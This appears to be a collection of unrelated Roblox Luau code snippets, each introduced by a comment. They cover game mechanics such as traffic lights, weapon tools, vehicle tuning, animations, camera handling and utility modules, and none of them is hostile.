DGreen.Enabled = false
DYellow.Enabled = true
DRed.Enabled = false
elseif Signal.Value == 3 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = true
DGreen.Enabled = false
DYellow.Enabled = false
DRed.Enabled = true
elseif Turn.Value == 3 then
while true do
Red.Enabled = true
Green.Enabled = false
Yellow.Enabled = false
DRed.Enabled = true
DGreen.Enabled = false
DYellow.Enabled = false
wait(.5)
Red.Enabled = false
DRed.Enabled = false
wait(.5)
if Turn == 2 then break end
if Turn == 1 then break end
if Turn == 0 then break end
if Signal ~= 3 then break end
if Signal ~= 0 then break end
end
end
wait()
end
|
-- Define emitters |
local Emitters = script.Parent:WaitForChild("Emitters")
|
--[=[
@class RxLinkUtils
]=] |
local require = require(script.Parent.loader).load(script)
local Brio = require("Brio")
local Maid = require("Maid")
local Observable = require("Observable")
local Rx = require("Rx")
local RxBrioUtils = require("RxBrioUtils")
local RxInstanceUtils = require("RxInstanceUtils")
local RxLinkUtils = {}
|
-- MouseClick |
ClickDetector.MouseClick:Connect(toggleMouse)
|
-- EFFECTS |
while task.wait() do
-- rotate
name.UIStroke.UIGradient.Rotation += 1
chance.UIStroke.UIGradient.Rotation += 1
end
|
--Stickmasterluke
--A nice simple axe |
sp=script.Parent
r=game:service("RunService")
anims={"RightSlash","LeftSlash","OverHeadSwing"}
basedamage=0 + (script.Parent.AddDam.Value/4)
slashdamage=0 + script.Parent.AddDam.Value
swingdamage=0 + script.Parent.AddDam.Value
damage=basedamage
sword=sp.Handle
sp.Taunting.Value=false
local SlashSound=Instance.new("Sound")
SlashSound.SoundId="rbxasset://sounds\\swordslash.wav"
SlashSound.Parent=sword
SlashSound.Volume=.7
local UnsheathSound=Instance.new("Sound")
UnsheathSound.SoundId="rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent=sword
UnsheathSound.Volume=0
function blow(hit)
if (hit.Parent==nil) then return end -- happens when bullet hits sword
local humanoid=hit.Parent:findFirstChild("Humanoid")
local vCharacter=sp.Parent
local vPlayer=game.Players:playerFromCharacter(vCharacter)
local hum=vCharacter:findFirstChild("Humanoid") -- non-nil if sp held by a character
if humanoid~=nil and humanoid~=hum and hum~=nil then
-- final check, make sure sword is in-hand
local right_arm=vCharacter:FindFirstChild("Right Arm")
if (right_arm~=nil) then
local joint=right_arm:FindFirstChild("RightGrip")
if (joint~=nil and (joint.Part0==sword or joint.Part1==sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag=Instance.new("ObjectValue")
creator_tag.Value=player
creator_tag.Name="creator"
creator_tag.Parent=humanoid
end
function untagHumanoid(humanoid)
if humanoid~=nil then
local tag=humanoid:findFirstChild("creator")
if tag~=nil then
tag.Parent=nil
end
end
end
sp.Enabled=true
function onActivated()
if sp.Enabled and not sp.Taunting.Value then
sp.Enabled=false
local character=sp.Parent;
local humanoid=character.Immortal
if humanoid==nil then
print("Humanoid not found")
return
end
SlashSound:play()
newanim=anims[math.random(1,#anims)]
while newanim==sp.RunAnim.Value do
newanim=anims[math.random(1,#anims)]
end
sp.RunAnim.Value=newanim
if newanim=="OverHeadSwing" then
damage=swingdamage
else
damage=slashdamage
end
wait(1)
damage=basedamage
sp.Enabled=true
end
end
function onEquipped()
UnsheathSound:play()
end
sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)
connection=sword.Touched:connect(blow)
|
--[[
HOW TO USE THIS PLUGIN:
In the body, everything except the wheels are set to be non-cancollidable.
For hitboxes, or any part that you'd like to be cancollidable, name them "Hitbox".
THE SCRIPT WILL ONLY ENABLE CANCOLLIDE ON PARTS NAMED "Hitbox"!
]] | --
|
-- places a brick at pos and returns the position of the brick's opposite corner |
function placeBrick(cf, pos)
local brick = Instance.new("Part")
brick.Size = Vector3.new(brickWidth, brickHeight, brickDepth)
brick.BrickColor = colors[math.random(1, #colors)]
brick.Friction = .01
brick.CFrame = cf * CFrame.new(pos + brick.size / 2)
if ( math.random() > .5) then
brick.Material = Enum.Material.Ice
else
brick.Transparency = .1 + (math.random(1,4) / 10)
end
brick.Parent = game.Workspace
brick:makeJoints()
return brick, pos + brick.size
end
function buildWall(cf)
local bricks = {}
assert(wallWidth>0)
local y = 0
while y < wallHeight do
local p
local x = -wallWidth/2
while x < wallWidth/2 do
local brick
brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
x = p.x
table.insert(bricks, brick)
wait(brickSpeed)
end
y = p.y
end
return bricks
end
function snap(v)
if math.abs(v.x)>math.abs(v.z) then
if v.x>0 then
return Vector3.new(1,0,0)
else
return Vector3.new(-1,0,0)
end
else
if v.z>0 then
return Vector3.new(0,0,1)
else
return Vector3.new(0,0,-1)
end
end
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = snap( (targetPos - character.Head.Position).unit )
local cf = CFrame.new(targetPos, targetPos + lookAt)
if (targetPos - character.Torso.Position).magnitude < 64 then
staffOut()
Tool.Handle.UseSound:Play()
buildWall(cf)
staffUp()
wait(5)
end
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--[[
Update a binding's value. This is only accessible by Roact.
]] |
function Binding.update(binding, newValue)
local internalData = binding[InternalData]
newValue = internalData.valueTransform(newValue)
internalData.value = newValue
internalData.changeSignal:fire(newValue)
end
|
--[[Engine]]
--Torque Curve |
Tune.Horsepower = 280 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
|
-- local jest_resolveModule = require(Packages["jest-resolve"]) |
type Resolver = any
|
--All sounds are referenced by this ID |
local SFX = {
Died = 0;
Running = 1;
Swimming = 2;
Climbing = 3,
Jumping = 4;
GettingUp = 5;
FreeFalling = 6;
FallingDown = 7;
Landing = 8;
Splash = 9;
}
local Humanoid = nil
local Head = nil
|
----- |
local Status = "nil"
local debounce = false
|
-- Works backwards, joining the arguments until it resolves to an absolute path.
-- If an absolute path is not resolved, then the current working directory is
-- prepended |
function Path:resolve(...: string)
local paths: Array<string> = { ... }
local resolvedpath = ""
local resolveddrive = nil
local isabsolute = false
for i = #paths, 1, -1 do
local path = paths[i]
if path and path ~= "" then
local root = resolveddrive and self:getRoot(path)
if self:isDriveRelative(path) then
root = root or self:getRoot(path)
resolveddrive = resolveddrive or root
path = path:sub(root:len() + 1)
end
if not root or resolveddrive:sub(1, 2) == root:sub(1, 2) then
resolvedpath = self:join(self:normalize(path), resolvedpath)
if self:isAbsolute(resolvedpath) then
isabsolute = true
break
end
end
end
end
if not isabsolute then
if resolveddrive then
local drivecwd = process.env["=" .. resolveddrive]
if drivecwd and self:pathsEqual(drivecwd:sub(1, 2), resolveddrive) then
resolvedpath = self:join(drivecwd, resolvedpath)
else
resolvedpath = self:join(resolveddrive, resolvedpath)
end
else
resolvedpath = self:join(process.cwd(), resolvedpath)
end
end
local trailing_slashes = resolvedpath:match("[" .. self.sep .. "]*$")
if trailing_slashes then
resolvedpath = resolvedpath:sub(1, -trailing_slashes:len() - 1)
end
return resolvedpath
end
|
--[=[
@within TableUtil
@function Sync
@param srcTbl table -- Source table
@param templateTbl table -- Template table
@return table
Synchronizes the `srcTbl` based on the `templateTbl`. This will make
sure that `srcTbl` has all of the same keys as `templateTbl`, including
removing keys in `srcTbl` that are not present in `templateTbl`. This
is a _deep_ operation, so any nested tables will be synchronized as
well.
```lua
local template = {kills = 0, deaths = 0, xp = 0}
local data = {kills = 10, experience = 12}
data = TableUtil.Sync(data, template)
print(data) --> {kills = 10, deaths = 0, xp = 0}
```
:::caution Data Loss Warning
This is a two-way sync, so the source table will have data
_removed_ that isn't found in the template table. This can
be problematic if used for player data, where there might
be dynamic data added that isn't in the template.
For player data, use `TableUtil.Reconcile` instead.
]=] |
local function Sync(srcTbl: Table, templateTbl: Table): Table
assert(type(srcTbl) == "table", "First argument must be a table")
assert(type(templateTbl) == "table", "Second argument must be a table")
local tbl = table.clone(srcTbl)
-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
for k,v in pairs(tbl) do
local vTemplate = templateTbl[k]
-- Remove keys not within template:
if vTemplate == nil then
tbl[k] = nil
-- Synchronize data types:
elseif type(v) ~= type(vTemplate) then
if type(vTemplate) == "table" then
tbl[k] = Copy(vTemplate, true)
else
tbl[k] = vTemplate
end
-- Synchronize sub-tables:
elseif type(v) == "table" then
tbl[k] = Sync(v, vTemplate)
end
end
-- Add any missing keys:
for k,vTemplate in pairs(templateTbl) do
local v = tbl[k]
if v == nil then
if type(vTemplate) == "table" then
tbl[k] = Copy(vTemplate, true)
else
tbl[k] = vTemplate
end
end
end
return tbl
end
|
--------------------------------------------------------------
-- Connection |
local Connection = {}
Connection.__index = Connection
function Connection.new(event, connection)
local self = setmetatable({
_conn = connection;
_event = event;
Connected = true;
}, Connection)
return self
end
function Connection:IsConnected()
if self._conn then
return self._conn.Connected
end
return false
end
function Connection:Disconnect()
if self._conn then
self._conn:Disconnect()
self._conn = nil
end
if not self._event then return end
self.Connected = false
local connections = self._event._connections
for i,c in ipairs(connections) do
if c == self then
connections[i] = connections[#connections]
connections[#connections] = nil
break
end
end
self._event = nil
end
Connection.Destroy = Connection.Disconnect
|
-- Offsets the entire Frame by 36px (unless already at 36px above) |
script.Parent.Position = UDim2.new(script.Parent.Position.X.Scale, script.Parent.Position.X.Offset, script.Parent.Position.Y.Scale, -36)
|
-- Editable Values |
local TurboId = 240323039
local SuperId = 404779487
local BovId = 3568930062
local TurboVol = .025 --Per Psi
local TurboRollOffMax = 1000
local TurboRollOffMin = 10
local SuperVol = .1 --Per Psi
local SuperRollOffMax = 1000
local SuperRollOffMin = 10
local BovVol = .025 --Per Psi
local BovRollOffMax = 1000
local BovRollOffMin = 10
local BovSensitivity = .5
local TurboSetPitch = 1 --Base Pitch
local SuperSetPitch = .8 --Base Pitch
local BovSetPitch = .7 --Base Pitch
local TurboPitchIncrease = .05 --Per Psi
local SuperPitchIncrease = .05 --Per Psi
local BovPitchIncrease = .05 --Per Psi
local FE=true |
--------LEFT DOOR 3-------- |
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102)
|
--Traction Control Settings |
Tune.TCSEnabled = false -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
-- Changeable Settings
------------------------ |
local FlashlightKey = "F"
local brightness = 0.7
local range = 40
local shadowson = false |
--- |
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Fossil",Paint)
end)
|
-- snaps if pet to far |
while true do
if master then
distance = (pet.SpringAttach.WorldPosition - master.Position).Magnitude
if distance > maxDistance*1.5 then
pet.CFrame = master.CFrame
end
end
wait()
end
|
-------------------------------------------------------------------------- |
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 ,
FTargetFriction = 1.1 ,
FMinFriction = .5 ,
RWearSpeed = .3 ,
RTargetFriction = 1.1 ,
RMinFriction = .5 ,
--Tire Slip
TCSOffRatio = 1/3 ,
WheelLockRatio = 1/2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = 0 , --SS6 Default = .5
RElasticity = 0 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 3.6 --SS6 Default = 3.6
}
|
--[[ Matches ]] | --
local function match_tostr(self)
local spans = proxy[self].spans;
local s_start, s_end = spans[0][1], spans[0][2];
if s_end <= s_start then
return string.format("Match (%d..%d, empty)", s_start, s_end - 1);
end;
return string.format("Match (%d..%d): %s", s_start, s_end - 1, utf8_sub(spans.input, s_start, s_end));
end;
local function new_match(span_arr, group_id, re, str)
span_arr.source, span_arr.input = re, str;
local object = newproxy(true);
local object_mt = getmetatable(object);
object_mt.__metatable = lockmsg;
object_mt.__index = setmetatable(span_arr, match_m);
object_mt.__tostring = match_tostr;
proxy[object] = { name = "Match", spans = span_arr, group_id = group_id };
return object;
end;
match_m.group = check_re('Match', 'group', function(self, group_id)
local span = self.spans[type(group_id) == "number" and group_id or self.group_id[group_id]];
if not span then
return nil;
end;
return utf8_sub(self.spans.input, span[1], span[2]);
end);
match_m.span = check_re('Match', 'span', function(self, group_id)
local span = self.spans[type(group_id) == "number" and group_id or self.group_id[group_id]];
if not span then
return nil;
end;
return span[1], span[2] - 1;
end);
match_m.groups = check_re('Match', 'groups', function(self)
local spans = self.spans;
if spans.n > 0 then
local ret = table.create(spans.n);
for i = 0, spans.n do
local v = spans[i];
if v then
ret[i] = utf8_sub(spans.input, v[1], v[2]);
end;
end;
return table.unpack(ret, 1, spans.n);
end;
return utf8_sub(spans.input, spans[0][1], spans[0][2]);
end);
match_m.groupdict = check_re('Match', 'groupdict', function(self)
local spans = self.spans;
local ret = { };
for k, v in pairs(self.group_id) do
v = spans[v];
if v then
ret[k] = utf8_sub(spans.input, v[1], v[2]);
end;
end;
return ret;
end);
match_m.grouparr = check_re('Match', 'groupdict', function(self)
local spans = self.spans;
local ret = table.create(spans.n);
for i = 0, spans.n do
local v = spans[i];
if v then
ret[i] = utf8_sub(spans.input, v[1], v[2]);
end;
end;
ret.n = spans.n;
return ret;
end);
|
--CHANGE THIS LINE-- |
Signal = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal1 -- Change last word |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 550 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6100
Tune.PeakSharpness = 3.8
Tune.CurveMult = 0.07
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 450 -- RPM acceleration when clutch is off
Tune.RevDecay = 150 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
-----------------------------------------------------------
----------------------- STATIC DATA -----------------------
----------------------------------------------------------- |
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Modules = ReplicatedStorage:WaitForChild("Modules")
local Utilities = require(Modules.Utilities)
local Signal = Utilities.Signal
local table = Utilities.Table
local Thread = Utilities.Thread
local TargetEvent
if RunService:IsClient() then
TargetEvent = RunService.RenderStepped
else
TargetEvent = RunService.Heartbeat
end
local Projectiles = {}
local RemoveList = {}
|
-- Customization |
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)
MouseSense = 0.5;
CanAim = true; -- Allows player to aim
CanBolt = false; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)
LaserAttached = true;
LightAttached = true;
TracerEnabled = true;
SprintSpeed = 24;
CanCallout = false;
SuppressCalloutChance = 0;
|
-- This module is very simple - it simply submits a log whenever a player joins or leaves the game. |
local module = {}
function module.loadServer(core)
-- Include a first join message, since it takes a moment before the PlayerAdded is registered
local p = game:GetService("Players"):FindFirstChildOfClass("Player")
if p ~= nil then -- sometimes this loads before the player apparently
core.addLog({["Text"] = p.Name .. " has started the game server."})
end
game:GetService("Players").PlayerAdded:Connect(function(p)
core.addLog({["Text"] = p.Name .. " has joined the server."})
end)
game:GetService("Players").PlayerRemoving:Connect(function(p)
core.addLog({["Text"] = p.Name .. " has left the server."})
end)
end
return module
|
--[[ STATIC METHODS ]] | --
function Path.GetNearestCharacter(fromPosition)
local character, magnitude = nil, -1
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and (player.Character.PrimaryPart.Position - fromPosition).Magnitude > magnitude then
character, magnitude = player.Character, (player.Character.PrimaryPart.Position - fromPosition).Magnitude
end
end
return character
end
|
--------| Reference |-------- |
local lastMagnitude
|
--!strict |
local package = script.package
assert(
package and package:IsA("ObjectValue"),
("could not require package. %q does not have a 'package' ObjectValue"):format(script:GetFullName())
)
local value = package.Value
assert(
value and value:IsA("ModuleScript"),
("could not require package. %q does not have a package set as its Value"):format(package:GetFullName())
)
return require(value :: ModuleScript)
|
-- built-in flowtypes reverse engineered based on usage and enabling strict type checking on test suites
--!strict |
local Packages = script.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
type Error = LuauPolyfill.Error
type Array<T> = LuauPolyfill.Array<T>
type Object = { [string]: any } |
-- Pause the shimmer when the mouse clicks the guiObject |
guiObject.MouseButton1Click:Connect(function()
if shim.PlaybackState == Enum.PlaybackState.Playing then
pauseShimmer()
else
startShimmer()
end
end)
|
--[[Wheel Alignment]] |
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -8
Tune.RCamber = -1
Tune.FCaster = 7
Tune.FToe = 1
Tune.RToe = 0
|
-- d3m l4z0rzzz!!!! |
local TS = game:GetService("TweenService")
local P1 = script.Parent.Pivot1
local P2 = script.Parent.Pivot2
local OG_ROT1 = P1.CFrame
local OG_ROT2 = P2.CFrame
TS:Create(P1,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = P1.CFrame * CFrame.Angles(math.rad(20),0,0)}):Play()
TS:Create(P2,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = P2.CFrame * CFrame.Angles(math.rad(-10),0,0)}):Play()
while task.wait(.65) do
TS:Create(P1,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT1 * CFrame.Angles(math.rad(-10),0,0)}):Play()
TS:Create(P2,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT2 * CFrame.Angles(math.rad(20),0,0)}):Play()
task.wait(.65)
TS:Create(P1,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT1 * CFrame.Angles(math.rad(20),0,0)}):Play()
TS:Create(P2,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT2 * CFrame.Angles(math.rad(-10),0,0)}):Play()
end
|
--!strict |
type Table = { [any]: any }
type Array<T> = { [number]: T }
return function(value: Table | Array<any> | string): Array<any>
if value == nil then
error("cannot extract values from a nil value")
end
local valueType = typeof(value)
local array = {}
if valueType == "table" then
for _, keyValue in pairs(value :: Table) do
table.insert(array, keyValue)
end
elseif valueType == "string" then
for i = 1, (value :: string):len() do
array[i] = (value :: string):sub(i, i)
end
end
return array
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!! |
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.ChocoMilk -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- functions |
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
return bodyHeightScale.Value
end
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
if speed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif speed < 0.66 then
local weight = ((speed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
runAnimTrack:AdjustSpeed(speedScaled / heightScale)
currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
if currentAnim == "walk" then
else
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
|
-- Remote |
local RE_UpdateSpine = ReplicatedStorage.RemoteEvents.UpdateSpine
|
-- Casts and recasts until it hits either: nothing, or something not transparent or collidable |
local function PiercingCast(fromPoint, toPoint, ignoreList) --NOTE: Modifies ignoreList!
repeat
local hitPart, hitPoint = CastRay(fromPoint, toPoint, ignoreList)
if hitPart and (hitPart.Transparency > 0.95 or hitPart.CanCollide == false) then
table.insert(ignoreList, hitPart)
else
return hitPart, hitPoint
end
until false
end
local function ScreenToWorld(screenPoint, screenSize, pushDepth)
local cameraFOV, cameraCFrame = Camera.FieldOfView, Camera.CoordinateFrame
local imagePlaneDepth = screenSize.y / (2 * math.tan(math.rad(cameraFOV) / 2))
local direction = Vector3.new(screenPoint.x - (screenSize.x / 2), (screenSize.y / 2) - screenPoint.y, -imagePlaneDepth)
local worldDirection = (cameraCFrame:vectorToWorldSpace(direction)).Unit
local theta = math.acos(math.min(1, worldDirection:Dot(cameraCFrame.lookVector)))
local fixedPushDepth = pushDepth / math.sin((math.pi / 2) - theta)
return cameraCFrame.p + worldDirection * fixedPushDepth
end
local function OnCameraChanged(property)
if property == 'CameraSubject' then
VehicleParts = {}
local newSubject = Camera.CameraSubject
if newSubject then
-- Determine if we should be popping at all
PopperEnabled = false
for _, subjectType in pairs(VALID_SUBJECTS) do
if newSubject:IsA(subjectType) then
PopperEnabled = true
break
end
end
-- Get all parts of the vehicle the player is controlling
if newSubject:IsA('VehicleSeat') then
VehicleParts = newSubject:GetConnectedParts(true)
end
end
end
end
local function OnCharacterAdded(player, character)
PlayerCharacters[player] = character
end
local function OnPlayersChildAdded(child)
if child:IsA('Player') then
child.CharacterAdded:connect(function(character)
OnCharacterAdded(child, character)
end)
if child.Character then
OnCharacterAdded(child, child.Character)
end
end
end
local function OnPlayersChildRemoved(child)
if child:IsA('Player') then
PlayerCharacters[child] = nil
end
end
local function OnWorkspaceChanged(property)
if property == 'CurrentCamera' then
local newCamera = workspace.CurrentCamera
if newCamera then
Camera = newCamera
if CameraChangeConn then
CameraChangeConn:disconnect()
end
CameraChangeConn = Camera.Changed:connect(OnCameraChanged)
OnCameraChanged('CameraSubject')
end
end
end
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {
data = {},
event = {}
};
local v2 = { "Knobs", "Revives", "Boosts", "Statistics", "Achievements" };
for v3, v4 in pairs(v2) do
local v5 = Instance.new("BindableEvent");
v5.Name = v4 .. "Updated";
v5.Parent = script;
v1.event[v4] = v5;
end;
local v6 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaController"));
local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer;
v6.RequestData();
v6.ReplicaOfClassCreated("PlayerProfile", function(p1)
local v8 = p1.Tags.Player == l__LocalPlayer__7;
if not v8 then
local v9 = p1.Tags.Player.Name .. "'s";
end;
local l__Data__10 = p1.Data;
v1.data = l__Data__10;
if v8 then
for v11, v12 in pairs(v2) do
p1:ListenToChange({ v12 }, function(p2)
v1.event[v12]:Fire(l__Data__10[v12]);
end);
v1.event[v12]:Fire(l__Data__10[v12]);
end;
end;
end);
local v13 = tick();
while true do
wait();
if v6.InitialDataReceived then
break;
end;
end;
local v14 = tick();
return v1;
|
-- ROBLOX TODO: implement in LuauPolyfill |
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Array = LuauPolyfill.Array
type Array<T> = LuauPolyfill.Array<T>
local RegExp = require(Packages.RegExp)
type RegExp = RegExp.RegExp
local function stringReplace(str: string, regExp: RegExp, replFn: (...any) -> string)
local v = str
local match = regExp:exec(v)
local offset = 0
local replaceArr = {}
while match ~= nil and match.index ~= nil do
-- ROBLOX FIXME Luau: analyze complains about match type being `Array<string> & {| index: number?, input: string?, n: number |}` instead of table
local m = (match :: Array<string>)[1]
local args: Array<string | number> = Array.slice(match, 1, match.n + 1)
-- ROBLOX FIXME Luau: analyze doesn't recognize match.index as a number
